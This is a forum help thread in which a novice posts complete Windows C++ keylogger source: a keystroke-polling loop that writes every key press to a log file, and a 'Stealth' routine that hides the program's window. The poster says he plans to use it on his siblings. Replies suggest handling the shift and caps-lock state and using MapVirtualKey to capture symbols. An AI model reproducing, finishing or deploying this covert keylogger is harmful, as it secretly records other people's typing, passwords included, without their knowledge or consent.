ASCII Table to C++ Problems

Hey guys, I've been watching this video on how to create a Key Logger. Yes, I know this is frowned upon, but this is basically my first program and I am obviously not going to use it against anyone over the internet (Just my siblings ;-) ).

My three problems are:

(1) When I type something, it appears all in capital letters, how can I make it so that the computer can tell when its lower-case and upper-case?

(2) I would also like to know how I can add symbols such as: @ # $ % ! ?
That kind of stuff?

(3) My period symbol isn't working, but the code is in there so there must be a problem?

Thanks! Here is my code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
    Stealth();
    char i;
    
    while (1)
    {
       for(i = 8; i <= 190; i++)
       {
          if (GetAsyncKeyState(i) == -32767)
            Save (i, "LOG.TXT");  
        }      
    }
    system ("PAUSE");
    return 0;
}
/* ********************************************** */
/* ********************************************** */
int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke ==2) )
        return 0;
        
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key_stroke << endl;    
    
    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == 64)
        fprintf(OUTPUT_FILE, "%s", "[==at==]\n");    
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]\n");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]\n");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]\n");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]\n");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]\n");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]\n");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]\n");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]\n");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]\n");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]\n");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else 
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
    fclose(OUTPUT_FILE);
    return 0;
}
/* ********************************************** */
/* ********************************************** */
void Stealth()
{
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth,0);
}


Thanks!
Remember you're not detecting text. You're detecting key presses. Unless you have a keyboard with separate upper and lower case letter keys, the system won't tell them apart for you; you have to do it yourself based on the state of caps lock and shift.
For special symbols, Windows has a function that translates scan codes to code points: MapVirtualKey().
Last edited on
Sorry for the noobishness, but do you think you could give me a code example for a special symbol?
UINT b=MapVirtualKey(0x47,MAPVK_VK_TO_CHAR); //should return 'G', IINM
Err.... now could you explain that?

I'm really sorry! XD
Topic archived. No new replies allowed.